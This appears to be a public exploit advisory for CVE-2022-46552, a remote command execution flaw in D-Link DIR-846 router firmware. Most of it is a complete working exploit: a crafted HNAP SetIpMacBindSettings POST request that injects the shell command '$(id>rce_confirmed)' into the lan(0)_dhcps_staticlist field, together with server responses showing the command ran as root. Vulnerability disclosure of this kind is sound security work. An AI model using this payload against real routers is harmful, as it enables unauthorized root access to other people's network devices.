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D-Link DIR-846 Remote Command Execution

D-Link DIR-846 Remote Command Execution
Posted Apr 5, 2023
Authored by Francoa Taffarel

D-Link DIR-846 suffers from a remote command execution vulnerability.

tags | exploit, remote
advisories | CVE-2022-46552
SHA-256 | 758c496ce122164e2a57f07a9330986f0483ec132678bd1d4f83fb2e01511546

D-Link DIR-846 Remote Command Execution

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# Exploit Title: D-Link DIR-846 - Remote Command Execution (RCE) vulnerability 
# Google Dork: NA
# Date: 30/01/2023
# Exploit Author: Françoa Taffarel
# Vendor Homepage:
https://www.dlink.com.br/produto/roteador-dir-846-gigabit-wi-fi-ac1200/#suportehttps://www.dlink.com.br/wp-content/uploads/2020/02/DIR846enFW100A53DBR-Retail.zip
# Software Link:
https://www.dlink.com.br/wp-content/uploads/2020/02/DIR846enFW100A53DBR-Retail.zip
# Version: DIR846enFW100A53DBR-Retail
# Tested on: D-LINK DIR-846
# CVE : CVE-2022-46552

D-Link DIR-846 Firmware FW100A53DBR was discovered to contain a remote
command execution (RCE) vulnerability via the lan(0)_dhcps_staticlist
parameter. This vulnerability is exploited via a crafted POST request.

### Malicious POST Request
```
POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:107.0) Gecko/20100101
Firefox/107.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
SOAPACTION: "http://purenetworks.com/HNAP1/SetIpMacBindSettings"
HNAP_AUTH: 0107E0F97B1ED75C649A875212467F1E 1669853009285
Content-Length: 171
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/AdvMacBindIp.html?t=1669852917775
Cookie: PHPSESSID=133b3942febf51641c4bf0d81548ac78; uid=idh0QaG7;
PrivateKey=DBA9B02F550ECD20E7D754A131BE13DF; timeout=4

{"SetIpMacBindSettings":{"lan_unit":"0","lan(0)_dhcps_staticlist":"1,$(id>rce_confirmed),02:42:d6:f9:dc:4e,192.168.0.15"}}
```


### Response

```
HTTP/1.1 200 OK
X-Powered-By: PHP/7.1.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-type: text/html; charset=UTF-8
Connection: close
Date: Thu, 01 Dec 2022 11:03:54 GMT
Server: lighttpd/1.4.35
Content-Length: 68

{"SetIpMacBindSettingsResponse":{"SetIpMacBindSettingsResult":"OK"}}
```


### Data from RCE Request

```
GET /HNAP1/rce_confirmed HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:107.0) Gecko/20100101
Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=133b3942febf51641c4bf0d81548ac78; uid=ljZlHjKV;
PrivateKey=846232FD25AA8BEC8550EF6466B168D9; timeout=1
Upgrade-Insecure-Requests: 1
```


### Response

```
HTTP/1.1 200 OK
Content-Type: application/octet-stream
Accept-Ranges: bytes
Content-Length: 24
Connection: close
Date: Thu, 01 Dec 2022 23:24:28 GMT
Server: lighttpd/1.4.35

uid=0(root) gid=0(root)
```

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